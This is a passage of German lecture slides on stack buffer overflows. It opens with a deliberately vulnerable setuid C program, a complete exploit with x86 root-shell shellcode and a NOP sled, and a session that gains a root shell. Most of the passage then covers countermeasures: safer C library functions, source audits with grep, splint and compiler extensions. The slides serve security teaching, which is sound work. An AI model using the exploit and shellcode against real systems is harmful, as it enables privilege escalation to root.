Angriffsmöglichkeiten - Eingeschleuster Programmkode Die Frage bleibt, wo man diesen Shellkode plazieren muss. Es gibt mehrere Möglichkeiten: Kopieren in den Überlaufpuffer (er muss aber gross genug dafür sein) Ablage in Umgebungsvariablen. Das folgende Programm stack exploit2.c verwendet als Ablageort den Überlaufpuffer des befallenen Programms stack bof2.c: 37 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode angegriffenes Programm stack bof2.c stack bof2.c 1 # include <stdio.h> 2 # include <string.h> 4 void funktion ( char * args ) { 5 char buff [512]; // Angriffsziel, der Ueberlaufpuffer soll 6 strcpy ( buff, args ); // mit fremdem Kode ueberschrieben werden 7 } 9 int main ( int argc, char * argv []) { 10 if ( argc > 1) { 11 funktion ( argv [1]); 12 } else 13 printf (" Kein Argument!\ n"); 14 return 0; 15 } $ $ stack_bof02 $ Rechner 38 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode Der Payload ist in folgendem Programm realisiert und benutzt als Injection Vektor den Puffer des angegriffenen Programms (buff). stack exploit2.c 1 # include <stdlib.h> 2 # include <stdio.h> 4 # define DEFAULT_OFFSET 0 5 # define DEFAULT_BUFFER_GR 512 6 # define NOP 0 x90 8 char shellcode [] = 9 /* setuid (0) */ 10 "\ x31 \ xc0 " /* xorl %eax,% eax */ 11 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 12 "\ xb0 \ x17 " /* movb $0x17,% al */ 13 "\ xcd \ x80 " /* int $0x80 */ 15 /* Shell oeffnen */ 16 "\ xeb \ x1f " /* jmp 0 x1f */ 17 "\ x5e " /* popl % esi */ 18 "\ x89 \ x76 \ x08 " /* movl %esi,0x8 (% esi ) */ 19 "\ x31 \ xc0 " /* xorl %eax,% eax */ 20 "\ x88 \ x46 \ x07 " /* movb %eax,0x7 (% esi ) */ 21 "\ x89 \ x46 \ x0c " /* movl %eax,0xc (% esi ) */ 22 "\ xb0 \ x0b " /* movb $0xb,% al */ 39 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode 23 "\ x89 \ xf3 " /* movl %esi,% ebx */ 24 "\ x8d \ x4e \ x08 " /* leal 0x8 (% esi ),% ecx */ 25 "\ x8d \ x56 \ x0c " /* leal 0xc (% esi ),% edx */ 26 "\ xcd \ x80 " /* int $0x80 */ 27 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 28 "\ x89 \ xd8 " /* movl %ebx,% eax */ 29 "\ x40 " /* inc % eax */ 30 "\ xcd \ x80 " /* int $0x80 */ 31 "\ xe8 \ xdc \ xff \ xff \ xff " /* call -0 x24 */ 32 "/ bin /sh"; /*. string \"/ bin /sh \" */ 34 unsigned long 35 GetESP ( void ) { 36 asm (" movl %esp,% eax "); 37 } 39 int main ( int argc, char * argv []) { 40 char *buff, * zgr ; 41 long * adr_zgr, adr ; 42 int offset = DEFAULT_OFFSET, bgr = DEFAULT_BUFFER_GR ; 43 int i; 45 if ( argc > 1) bgr = atoi ( argv [1]); 46 if ( argc > 2) offset = atoi ( argv [2]); 47 if (!( buff = malloc ( bgr ))) { 48 printf (" Fehler bei der Speicherreservierung.\ n"); 49 exit (1); 50 } 40 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode 52 adr = GetESP () - offset ; 53 fprintf ( stderr, " ESP : 0x%x\n", GetESP ()); 54 fprintf ( stderr, " ESP mit Offset : 0x%x\n", adr ); 56 zgr = buff ; 57 adr_zgr = ( long *) zgr ; 58 for (i = 0; i < bgr ; i +=4) 59 *( adr_zgr ++) = adr ; 61 for (i = 0; i < bgr /2; i++) 62 buff [i] = NOP ; 64 zgr = buff + (( bgr /2) - ( strlen ( shellcode )/2)); 65 for (i = 0; i < strlen ( shellcode ); i++) 66 *( zgr ++) = shellcode [i]; 68 buff [ bgr - 1] = '\0 '; 69 printf ("%s", buff ); 71 return 0; 72 } 41 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode Unter der Annahme, stack bof2 ist ein setuid Root-Programm, kann man eine Root-Shell mittels des folgenden Aufrufs öffnen: $ id uid =500( as) gid =100( users ) $ stack_bof2 ` stack_exploit2 536 ` ESP : 0 xfef998e8 ESP mit Offset : 0 xfef998f8 sh -2.05 $ sh -2.05 $ id uid =0 gid =0 sh -2.05 $ stack exploit2 erzeugt auszuführenden Shellkode, der in buff kopiert wird. Dabei wird Rücksprungadresse so manipuliert, dass der Kode ausgeführt wird. Das Starten des Programms stack buf2 bewirkt das Öffnen einer Root-Shell, obwohl das nie in dem Programm programmiert wurde. 42 / 69

Gegenmassnahmen Gegenmassnahmen 1 2 Gegenmassnahmen Überblick Sichere Programmierung Source Code Audits Automatisierte Softwaretests Binary Audits Compilererweiterungen 43 / 69

Gegenmassnahmen Überblick Überblick Die (leider) heute gängige Praxis, mit Software-Schwachstellen umzugehen ist: 1 Erstellung von Software ohne besondere Beachtung von sicherheitsrelevanten Aspekten. 2 Verkauf der Software. 3 Eine Schwachstelle wird entdeckt und ein Exploit wird entwickelt (meist durch Hacker). 4 Der Hersteller stellt einen Patch bereit. 5 Ein Bugreport wird in Mailinglisten veröffentlicht, der Systembetreuer auffordert, den Patch einzuspielen. Welche Nachteile hat diese Methode (Ihre Erfahrungen interessieren hier)? 44 / 69

Gegenmassnahmen Überblick Besser als im Nachhinein aktiv zu werden ist es, vor dem Verkauf der Software, Schwachstellen zu erkennen: während der Programmentwicklung (sichere Programmierung), durch Audits nach der Programmerstellung, Compilererweiterungen und Prozesserweiterungen. 45 / 69

Gegenmassnahmen Sichere Programmierung Sichere Programmierung In der C-Standardbibliothek existieren einige Funktionen, die als risikobehaftet bekannt sind und deshalb nicht verwendet werden sollten. Einige dieser Funktionen werden gezeigt und Alternativen diskutiert. 46 / 69

Gegenmassnahmen Sichere Programmierung gets fgets gets dient dazu, einer Zeile von der Standardeingabe einzulesen und in einem Puffer zu speichern. Da man den Puffer zur im Programm anlegen muss, also eine Grösse angeben muss, kann nie verhindert werden, dass mehr eingaben gemacht werden, als der Puffer gross ist. gets.c 1 # include <stdio.h> 2 int main ( void ) { 3 char buff [24]; 4 printf (" Eingabe : "); 5 gets ( buff ); was passiert bei Eingaben > 24? 6 return 0; 7 } 47 / 69

Gegenmassnahmen Sichere Programmierung gets fgets 1 int main ( void ) { 2 char buff [24]; 3 printf (" Eingabe : "); 4 gets ( buff ); was passiert bei Eingaben > 24? 5 return 0; 6 } Der Compiler warnt schon vor der Verwendung von gets! $ make gets cc gets.c -o gets / tmp / cculyf47.o(. text +0 x28 ): In function `main ': : warning : the `gets ' function is dangerous and should not be used. $ $ gets Eingabe : AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBB Speicherzugriffsfehler $ Offensichtlich wurde der Puffer buff über seine Grenzen hinweg überschrieben und Verwaltungs- information, wie Framepointer oder Rücksprungadresse mit B s führen zu dem Speicherzugriffsfehler. Also: stets auf gets verzichten! 48 / 69

Gegenmassnahmen Sichere Programmierung gets fgets Die Alternative für gets ist die Funktion fgets, beider die Anzahl der von stdin gelesenen Bytes angegeben werden muss: $ man fgets # include <stdio.h> char * fgets ( char *s, int size, FILE * stream ); fgets () liest höchstens size minus ein Zeichen von stream und speichert sie in dem Puffer, auf den s zeigt. Das Lesen stoppt nach einem EOF oder Zeilenvorschub. Wenn ein Zeilenvorschub gelesen wird, wird er in dem Puffer gespeichert. Ein \0 wird nach dem letzten Zeichen im Puffer gespeichert. fgets.c # include <stdio.h> int main ( void ) { char buff [24]; printf (" Eingabe : "); fgets ( buff, 24, stdin ); return 0; } 49 / 69

Gegenmassnahmen Sichere Programmierung strcpy strncpy Die Funktion strcpy haben wir bereits als unsichere Bibliotheksfunktion identifiziert. Sie dient dazu, eine Zeichenkette von einem Puffer in einen anderen zu kopieren. Dabei werden keine Überprüfungen der Puffergrenzen vorgenommen. Daher ist diese Funktion der klassische Angriffspunkt für Pufferüberlauf-Attacken. strcpy.c 1 # include <string.h> 2 int main ( int argc, char * argv []) { 3 char buff [24]; 5 if ( argc > 1) 6 strcpy ( buff, argv [1]); 8 return 0; 9 } 50 / 69

Gegenmassnahmen Sichere Programmierung strcpy strncpy Als sichere Alternative sollte man strncpy verwenden. BEZEICHNUNG strcpy, strncpy - kopiert eine Zeichenkette ÜBERSICHT # include < string.h> char * strcpy ( char *dest, const char * src ); char * strncpy ( char *dest, const char *src, size_t n); BESCHREIBUNG Die Funktion strcpy () kopiert die Zeichenkette, auf die der Zeiger src zeigt, inklusive des Endezeichens \0 an die Stelle, auf die dest zeigt. Die Zeicheketten dürfen sich nicht überlappen und dest muß groß genug sein. Die Funktion strncpy () tut dasselbe mit dem Unterschied, daß nur die ersten n Byte von src kopiert werden. Ist kein \0 innerhalb der ersten n Bytes,so wird das Ergebnis nicht durch \0 abgeschlossen. Ist die Länge von src kleiner als n Bytes, so wird dest mit Nullen aufgefüllt. RÜCKGABEWERT Die Funktionen strcpy () und strncpy () geben einen Zeiger auf dest zurück. 51 / 69

Gegenmassnahmen Sichere Programmierung strcpy strncpy strncpy.c 1 # include <string.h> 2 # define BUFFER 24 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 if ( argc > 1) { 7 strncpy ( buff, argv [1], BUFFER - 1); 8 buff [ BUFFER - 1] = '\0 ';!!! 9 } 11 return 0; 12 } Achtung: Das Ende der Zeichenkette ist stets explizit mit \0 zu terminieren, ansonsten entsteht eine neue Schwachstelle. 52 / 69

Gegenmassnahmen Sichere Programmierung strcat strncat Die Funktion strcat ist eine weitere unsichere Bibliotheksfunktion, zu der es eine sichere Alternative gibt, bei der aber auch die Nulltermination zu beachten ist. BEZEICHNUNG strcat, strncat - verbinden zwei Zeichenketten ÜBERSICHT # include < string.h> char * strcat ( char *dest, const char * src ); char * strncat ( char *dest, const char *src, size_t n); BESCHREIBUNG Die Funktion strcat hängt die Zeichenkette src an die Zeichenkette dest an, wobei das Stringendezeichen \0 überschrieben wird und ein neues \0 am Ende der gesamten Zeichenkette angehängt wird. Die Zeichenket - ten können sich nicht überlappen und dest muß Platz genug für die gesamte Zeichenkette haben. Die Funktion strncat tut dasselbe, wobei allerdings nur die ersten n Buchstaben von src kopiert werden. RÜCKGABEWERT Die Funktionen strcat () und strncat () liefern einen Zeiger auf die gesamte Zeichekette dest zurück. 53 / 69

Gegenmassnahmen Sichere Programmierung strcat strncat Im nachfolgenden Beispiel wird mittels strcat an die Zeichenkette Jenni das Kommandozeilen-Argument angehängt: strcat.c 1 # include <string.h> 2 # include <stdio.h> 3 # define BUFFER 8 4 int main ( int argc, char * argv []) { 5 char buff [ BUFFER ] = " Jenni "; 7 if ( argc > 1) 8 strcat ( buff, argv [1]); 10 printf (" buff : [%s] (%p)\n", buff, buff ); 11 return 0; 12 } $ strcat `perl -e '{ print "A" x1}'` buff : [ JenniA ] (0 xfef6b030 ) $ strcat `perl -e '{ print "A" x8}'` buff : [ JenniAAAAAAAA ] (0 xfeee5c90 ) Speicherzugriffsfehler $ 54 / 69

Gegenmassnahmen Sichere Programmierung strcat strncat Bei der sicheren Alternative werden nur soviel Zeichen kopiert, dass kein Überlauf statt finden kann: strncat.c 1 # include <string.h> 2 # include <stdio.h> 3 # define BUFFER 8 5 int main ( int argc, char * argv []) { 6 char buff [ BUFFER ] = " Jenni "; 8 if ( argc > 1) 9 strncat ( buff, argv [1], BUFFER - strlen ( buff ) - 1); 11 printf (" buff : [%s] (%p)\n", buff, buff ); 12 return 0; 13 } $ strncat `perl -e '{ print "A" x1}'` buff : [ JenniA ] (0 xfeeece70 ) $ strncat `perl -e '{ print "A" x8}'` buff : [ JenniAA ] (0 xfeecbe90 ) $ 55 / 69

Gegenmassnahmen Sichere Programmierung sprintf snprintf Die beiden Bibliotheksfunktionen zur formatierten Ausgabe sind unsicher, da auch sie keine Längenüberprüfung vornehmen. Im folgenden Beispiel wird das Kommandozeilen-Argument in den Puffer buff geschrieben und keine Längenprüfung durchgeführt. sprintf.c 1 # include <stdio.h> 2 # define BUFFER 16 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 if ( argc > 1) 7 sprintf (buff, " Eingabe : %s", argv [1]); 9 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 10 return 0; 11 } $ sprintf `perl -e '{ print "A" x10 } '` buff : [ Eingabe : AAAAAAAAAA ] (0 xfef71e80 )(19) $ sprintf `perl -e '{ print "A" x20 } '` buff : [ Eingabe : AAAAAAAAAAAAAAAAAAAA ] (0 xfee91110 )(29) Speicherzugriffsfehler $ 56 / 69

Gegenmassnahmen Sichere Programmierung sprintf snprintf Verwenden sollte man stets die sichere Alternative snprintf: snprintf.c 1 # include <stdio.h> 2 # define BUFFER 16 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 if ( argc > 1) { 7 snprintf ( buff, BUFFER, " Eingabe : %s", argv [1]); 8 buff [ BUFFER - 1] = '\0 '; 9 } 10 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 11 return 0; 12 } $ snprintf `perl -e '{ print "A" x10 } '` buff : [ Eingabe : AAAAAA ] (0 xfef50c80 )(15) $ snprintf `perl -e '{ print "A" x20 } '` buff : [ Eingabe : AAAAAA ] (0 xfef0a790 )(15) $ Achtung: Nicht alle Implementierungen von snprintf terminieren den String mit 0. Deshalb sollte man dies stets explizit tun! 57 / 69

Gegenmassnahmen Sichere Programmierung scanf Die Schwachstellen der scanf-familie (scanf, sscanf, fscanf) von Bibliotheksfunktionen werden an scanf demonstriert. Die Schwachstelle beruht wieder darauf, dass keine Überprüfung der Puffergrenzen durchgeführt wird. scanf.c 1 # include <stdio.h> 2 # define BUFFER 8 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 scanf ("%s", & buff ); 7 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 8 return 0; 9 } $ scanf AAAAAAAA buff : [ AAAAAAAA ] (0 xfeef59a0 )(8) $ scanf AAAAAAAABBBBBBBB buff : [ AAAAAAAABBBBBBBB ] (0 xfefad570 )(16) Speicherzugriffsfehler $ 58 / 69

Gegenmassnahmen Sichere Programmierung scanf Für die scanf-familie gibt es keine sicherer Alternativen in der Standardbibliothek. Man kann aber scanf-funktionen verwenden, wenn man etwa die Längenbeschränkung im Format-String verwendet: scanf2.c 1 # define BUFFER 8 2 int main ( int argc, char * argv []) { 3 char buff [ BUFFER ]; 4 scanf ("%7s", & buff ); // %7s = % BUFFER -1 5 return 0; 6 } $ scanf2 AAAAAAAA $ scanf2 AAAAAAAABBBBBBBB $ 59 / 69

Gegenmassnahmen Sichere Programmierung getchar Die Funktion getchar (fgets, getc und read analog) dient zum lesen eines Zeichens von stdin. Im Zusammenhang mit Schleifen sind hier schnell Schwachstellen programmiert: getchar.c 1 # define BUFFER 8 2 int main ( void ) { 3 char buff [ BUFFER ], c; 4 int i = 0; 5 memset ( buff, 'A', BUFFER ); // fülle buff mit As 6 while ((c = getchar ())!= '\n') { // lese bis Newline 7 buff [i ++] = c; 8 } 9 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 10 } $ getchar AAAAAAAA buff : [ AAAAAAAAB?] (0 xfef04290 )(15) $ Offensichtlich sind in buff 15 Zeichen, obwohl er nur 8 Byte aufnehmen kann. Der Fehler liegt darin, dass nach der while-schleife keine Nulltermierung erfolgt ist. 60 / 69

Gegenmassnahmen Sichere Programmierung getchar Die korrekte Lösung ist: getchar2.c 1 # define BUFFER 8 2 int main ( void ) { 3 char buff [ BUFFER ], c; 4 int i = 0; 5 memset (buff, 'A', BUFFER ); 6 while ((c = getchar ())!= '\n' && i < 23) { 7 buff [i ++] = c; 8 } 10 // Nulltermination 11 if (i < BUFFER -1) 12 buff [i ++] = '\0 '; 13 else 14 buff [ BUFFER - 1] = '\0 '; 16 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 17 } $ getchar2 AAAAAAAA buff : [ AAAAAAA ] (0 xfef3cde0 )(7) $ 61 / 69

Gegenmassnahmen Sichere Programmierung getenv Das Lesen von Werten aus Umgebungsvariablen führt in Verbindung mir unsicheren Bibliotheksfunktionen genauso zu Schwachstellen, wie das Lesen von stdin. getenv.c 1 # define BUFFER 16 2 int main ( void ) { 3 char buff [ BUFFER ]; 4 char * tmp ; 6 tmp = getenv (" HOME "); 7 if ( tmp!= NULL ) 8 strcpy ( buff, tmp ); 10 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 11 } $ getenv buff : [/ home / as] (0 xfeec4560 )(8) $ 62 / 69

Gegenmassnahmen Sichere Programmierung getenv Ist der Wert der Umgebungsvariable zu gross, entsteht ein Pufferüberlauf, weil strcpy verwendet wurde. $ export HOME= AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB $ getenv buff : [ AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB ] (0 xfee9c330 )(32) Speicherzugriffsfehler $ Also richtig mit Längenüberprüfung durch stcncpy: getenv2.c # define BUFFER 16 int main ( void ) { char buff [ BUFFER ], * tmp ; tmp = getenv (" HOME "); if ( tmp!= NULL ) { strncpy ( buff, tmp, BUFFER - 1); buff [ BUFFER - 1] = '\0 '; } printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); } 63 / 69

Gegenmassnahmen Source Code Audits Source Code Audits Die Idee eines Quellkode Audits ist es, 1 alle gefährlichen Stellen zu finden und 2 anschliessend durch (einen zweiten) Programmierer überprüfen zu lassen. Wir haben gesehen, dass die Verwendung von statischen Zeichenpuffern mit unsicheren Funktionen zu Schwachstellen führen kann. Finden von solchen statischen Char-Puffern erfolgt z.b. einfach mittels grep: $ grep -n 'char.*\[ ' *.c fgets.c :4: char buff [24]; getchar2.c :5: char buff [ BUFFER ], c; getchar.c :5: char buff [ BUFFER ], c; getenv2.c :6: char buff [ BUFFER ], * tmp ; getenv.c :7: char buff [ BUFFER ]; gets.c :3: char buff [24];... $ 64 / 69

Gegenmassnahmen Source Code Audits Das Auffinden von unsicheren Bibliotheksfunktionen erledigt egrep: $ egrep -n ' strcpy gets ' *. c fgets.c :7: fgets ( buff, 24, stdin ); getenv.c :12: strcpy ( buff, tmp ); gets.c :6: gets ( buff ); strcpy.c :6: strcpy ( buff, argv [1]); $ 65 / 69

Gegenmassnahmen Automatisierte Softwaretests Automatisierte Softwaretests Es existieren mehrere frei verfügbare Analysatoren für C und C++ Quellkode, die die unsicheren Bibliotheksfunktionen erkennen und aufzeigen. flawfinder http://www.dwheeler.com/flawfinder/ rats http://www.securesoftware.com/security tools download.htm 66 / 69

Gegenmassnahmen Automatisierte Softwaretests splint Hier soll kurz ein Beispiel mit splint gezeigt werden: 1 # include <stdio.h> 2 int main ( void ) { 3 char buff [24]; 4 printf (" Eingabe : "); 5 gets ( buff ); was passiert bei Eingaben > 24? 6 return 0; 7 } $ splint gets.c Splint 3.1.1 --- 17 Feb 2004 gets.c: ( in function main ) gets.c :4:2: Use of gets leads to a buffer overflow vulnerability. Use fgets instead : gets Use of function that may lead to buffer overflow. gets.c :4:2: Return value ( type char *) ignored : gets ( buff ) Result returned by function call is not used. If this is intended, can cast result to ( void ) to eliminate message. Finished checking --- 2 code warnings $ 67 / 69

Gegenmassnahmen Binary Audits Binary Audits Neben den Werkzeugen, die den Quellkode analysieren, existieren Werkzeuge, die man verwenden kann, wenn der Quellkode nicht verfügbar ist. Sie arbeiten mit den Binaries. Dabei werden die Programme durch Stresstests mit generierten Eingaben und Umgebungen wiederholt angestossen und das Verhalten beobachtet. Damit sollen z.b. r erkannt werden, bevor das Programm zum Einsatz in die produktive Umgebung freigegeben wird. In grossen Unternehmen, wird mehr und mehr der Quellkode zur Überprüfung vom Hersteller verlangt, der dann einem Audit unterzogen wird, bevor die Software eingesetzt werden darf. 68 / 69

Gegenmassnahmen Compilererweiterungen Compilererweiterungen Das Hauptproblem der liegt in der Sprache C bzw. C++ selbst. Die Idee bei der Entwicklung war u.a., eine Hochsprache zu haben, die dennoch in effizientem übersetzten Kode mündet. Deshalb sind Überprüfungen auf Zeigerreferenzen und Arraygrenzen dem Programmierer überlassen. Es existieren Erweiterungen der Programmierumgebung, die diese Überprüfungen vornehmen: C-Kode kann in der normalen oder der erweiterten Umgebung ohne Änderung laufen (Vorteil), aber in der erweiterten Umgebung ist die Kode-Performance sehr schlecht (Nachteil). Da C meist eingesetzt wird, wo es auf performanten Kode ankommt, sind diese Erweiterungen im praktischen Umfeld bedeutungslos. 69 / 69